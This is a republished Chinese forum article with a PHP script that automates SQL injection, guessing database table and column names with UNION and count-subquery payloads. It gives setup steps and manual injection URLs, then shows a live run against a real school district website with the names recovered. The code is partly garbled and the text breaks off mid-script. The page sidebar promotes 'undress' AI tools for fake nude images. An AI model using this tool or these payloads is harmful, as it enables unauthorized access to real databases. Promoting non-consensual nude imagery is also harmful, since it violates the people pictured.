Home php教程 php手册 do all things in php(注入利用程序编写)

do all things in php(注入利用程序编写)

Jun 13, 2016 am 10:22 AM
php author information Octal use team Safety article source injection program write

文章作者:mika[EST]
信息来源:邪恶八进制信息安全团队

最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下。
结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)
突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:
  echo " Universal Database tables explode exploit V0.1 ";
 echo " Written by Mika[EST] ";
 //$keyword="Warning";
 $keyword="error";
 switch($argc){
 case 3:
 $u=" and (select count(*) from MIKA_NAME)>0";
 $dic=$argv[2];
 break;
 case 4:
 $u=" and 1=1 union select ".implode(,,range(1,$argv[2]))." from MIKA_NAME#";
 $dic=$argv[3];
 break;
 case 5:
 if($argv[2]!="-t")
 exit("arguments Error");
 $u=" and (select count(MIKA_NAME) from $argv[3])>0#";
 $dic=$argv[4];
 break;
 case 6:
 if($argv[2]!="-t" || $argv[4] exit("arguments Error");
 if($argv[4]>=2){
 $u=" and 1=1 union select ".MIKA_NAME.,.implode(,,range(2,$argv[4]))." from $argv[3]#";
 }else{
 $u=" and 1=1 union select MIKA_NAME from $argv[3]#";
 }
 $dic=$argv[5];
 break;
 default:
 echo  Usage:$argv[0] [OPTIONS]
 OPTIONS: number --->to indicate column number of a table during a union query

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt

 the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

 OPTIONS: -t

[number] ---> to explode column name of the

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt

 Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
 USAGE;
 die;
 }

 $old=$argv[1];
 file_exists($dic) or exit("dic file does not exist! ");
 $words=file($dic);
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_HEADER,0);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
 print "[+]Searching What you want... ";
 foreach($words as $word){
 //print $word;
 if(preg_match("/^s$/",$word)){
 //print "blank";
 continue;
 }
 $url=str_replace(MIKA_NAME,trim($word),$u);
 $url=$old.urlencode($url);
 //$url=$old.$url;
 curl_setopt($curl,CURLOPT_URL,$url);
 //print "source url is:".$url." ";
 $content=curl_exec($curl);
 //$new=$content;
 //print $content;
 if(preg_match("/$keyword/i",$content)==0){
 print "[*] FOUND:".trim($word);
 }
 else{print ".";}
 }
 ?>
俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:
extension_dir =
把它的值设置成你自己的,比如把压缩包接压到了c:php里,那么你需要把它设置成:
extension_dir = "c:phpext"

然后再继续找到下面这段:
 ; Windows Extensions
 ; Note that ODBC support is built in, so no dll is needed for it.
 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
 ; extension folders as well as the separate PECL DLL download (PHP 5).
 ; Be sure to appropriately set the extension_dir directive.

 ;extension=php_mbstring.dll
 ;extension=php_bz2.dll
 ;extension=php_curl.dll
 ;extension=php_dba.dll
 ;extension=php_dbase.dll
 ;extension=php_exif.dll
 ;extension=php_fdf.dll
 ;extension=php_filepro.dll
 ;extension=php_gd2.dll
 ;extension=php_gettext.dll
 ;extension=php_ifx.dll
看到php_curl.dll了吗?把它前面的分号去掉就可以了。然后保存一下,还没完呢,再去php的目录里找到这两个文件:
libeay32.dll
ssleay32.dll

把他们复制到system32目录里就OK了。很简单吧?然后在环境变量里设置一下你的php的路径,这样在任何目录里就可以直接调用php.exe进行解析了。安装其它模块的步骤也类似,俺就不多说了:-)

言归正传,你通过上面几步就可以使用curl模块了。程序用法很简单,比如有注入的url是这样的:http://www.aaa.com/bbb.asp?ccc=56,你的字典文件在当前目录mydict.txt。那么本程序的使用方法就是:
php explode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt

需要注意的就是,由于这个程序本来就是俺自己用的,所以程序没有考虑很多东西。程序是根据页面返回的内容进行判断的,所以呢,你要首先自己手工获取一下,比如你可以这样:
http://www.aaa.com/bbb.asp?ccc=56 and (select count(*) from mika520)>0(access和mssql上)
或者
http://www.aaa.com/bbb.asp?ccc=56 and 1=1 union select 1,2,3,4,5,6 from mika520%23 (mysql上)

其中的mika520是一个不存在的表,这样返回的页面后你可以察看源代码,随便找一个正确页面中不存在的语句作为关键字(nbsi等的注入工具默认是用正确页面里的东西作为判断的,俺和它反着来:-),然后把程序代码中第4行的$keyword的值换成你的关键字就可以了。比如下面这个站吧:
http://www.elkhart.k12.in.us/content.php?id=157

由于是php的所以你得用第二种方式来猜,即需要使用联合查询,所以先判断注入点存在不存在,然后使用order by判断字段数,我在这里判断的是5个字段,判断好后就可以使用我的这个程序来猜了,结果如下:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 5 mydict.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 ...[*] FOUND:structure..........................................................
看到了吗?找到了一个表,呵呵。再来看看字段:
 F:scriptsphpmine>php forcetb1.php http://www.elkhart.k12.in.us/content.php?id
 =157 -t structure 5 temp.txt
 Universal Database tables explode exploit V0.1

 Written by Mika[EST]

 [+]Searching What you want...
 [*] FOUND:division......[*] FOUND:id.[*] FOUND:level.........[*] FOUND:title....
 ..[*] FOUND:content..[*] FOUND:parent_id.........
很简单吧?命令中的那个5就是你用order by猜出的字段数,换成实际中的就可以了。如果是access或者mssql的数据库,只要去掉那个字段数(即例子中的5)的参数就可以了。我就不多做演示了。

如果大家用得过程中出现问题可以自己去改代码,很简单的:-)

另外我这个程序默认是使用HTTP代理的,所以你需要修改这一行:
curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

换成你的代理就好了,如果不需要代理那就直接注释掉好了。

其实猜嘛,关键还是看你的字典是不是够强大,你可以把你常见的字典组合一下就好了。比如NBSI和狂注幽灵等的字典拿过来,然后组成一个文件就是了。但是这两个字典有可能有很多重复的,为了节省不必要的猜解,需要去处重复的。我这里用php写了非常简单的程序可以帮助你去除重复行,如下:
 

 if($argc!=2){
 echo   Writte

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

See all articles